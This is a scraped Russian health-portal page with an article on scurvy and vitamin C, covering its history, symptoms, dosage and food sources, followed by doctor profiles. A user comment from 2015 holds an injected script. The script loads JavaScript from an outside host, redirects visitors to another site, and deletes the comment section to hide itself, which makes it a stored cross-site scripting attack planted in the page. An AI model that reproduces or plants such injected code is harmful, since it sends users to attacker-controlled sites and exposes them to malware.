Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Как защититься от цинги  >>  Как защититься от цинги
 
Обратная связь
 

Как защититься от цинги

Размер шрифта
17 ноября 2011 06:58
  • google_analytics: false
  • Нравится

Для здорового питания нужны не только калории, но и витамины. Результатом острого недостатка витамина С может стать цинга. Читайте о ней в нашей статье.

Цинга

Зачем нам витамин С

В норме витамин С укрепляет иммунитет, предупреждает анемию, укрепляет сосуды и ткани, сохраняет здоровыми зубы и десны, помогает усваивать жиры.

При нормальном уровне витамина C улучшается внешний вид кожи и волос, повышается острота зрения, а также поднимается настроение. Витамин С прекрасный помощник в борьбе со стрессами, помогает сконцентрироваться и – выспаться. 

История цинги

Первые упоминания об этой болезни относятся к эпохе крестовых походов, а именно к началу XIII века, и касаются заболеваний среди экипажа кораблей. Так, корабль Васко де Гама в 1495 году потерял на пути в Индию более ста человек из 160 членов экспедиции. Капитан Кук прямо на корабле готовил еловое пиво с сахаром для своих матросов. Историки медицины подсчитали, что с 1600 по 1800 год от цинги умерло около миллиона моряков.

В России 18 века цинга считалась «благородной болезнью». Ею страдали дворяня и богатые купцы. В отличие от низших сословий аристократы не ели овощи: лук, морковь, капусту.

Симптомы цинги

  • Слабость
  • Вялость
  • Быстрая утомляемость
  • Раздражительность
  • Сонливость
  • Головокружение
  • Неопределенные боли в икроножных мышцах и суставах
  • Быстрая потеря веса

Десны при цинге становятся синюшными, межзубные сосочки опухают и кровоточат при малейшем прикосновении. В тяжелых случаях расшатываются и выпадают зубы. 

Разрушаются различные элементы соединительной ткани, в том числе коллаген. Кожа становится уязвимой, сосудистые стенки – проницаемыми. 

При значительных кровоизлияниях образуются видимые твердые и болезненные гематомы. Из-за болей в мышцах и суставах больные не могут передвигаться. Часто они ходят, согнув ноги в коленях. Возможны кровоизлияния во внутренние органы.

Лечение цинги

Основное лечение – это профилактика. Ешьте продукты с витамином С, принимайте аскорбиновую кислоту. Обычная терапевтическая доза при выраженных симптомах болезни составляет 500-1500 мг ежедневно.

Дневная норма для здоровых людей составляет около 100 мг витамина С. Для курящих, людей активного труда, спортсменов, беременных эта цифра намного выше. В условиях жаркого климата и на Крайнем Севере потребность в витамине С повышается на 30-50%. Молодой организм лучше усваивает витамин С, чем пожилой, поэтому у лиц пожилого возраста потребность в витамине С несколько выше.

100 мг витамина С

  • 200 г апельсинов
  • 500 г яблок
  • 300 г мандаринов
  • 500 г помидоров

Избыток витамина С

При приеме больших доз, особенно синтетического препарата, могут появляться признаки гипервитаминоза: 

  • понос
  • повышенное мочеиспускание
  • камни в почках
  • сыпь на коже

Видеосюжеты по теме:

Дефицит витамина С. Как защититься от цинги

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:06

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.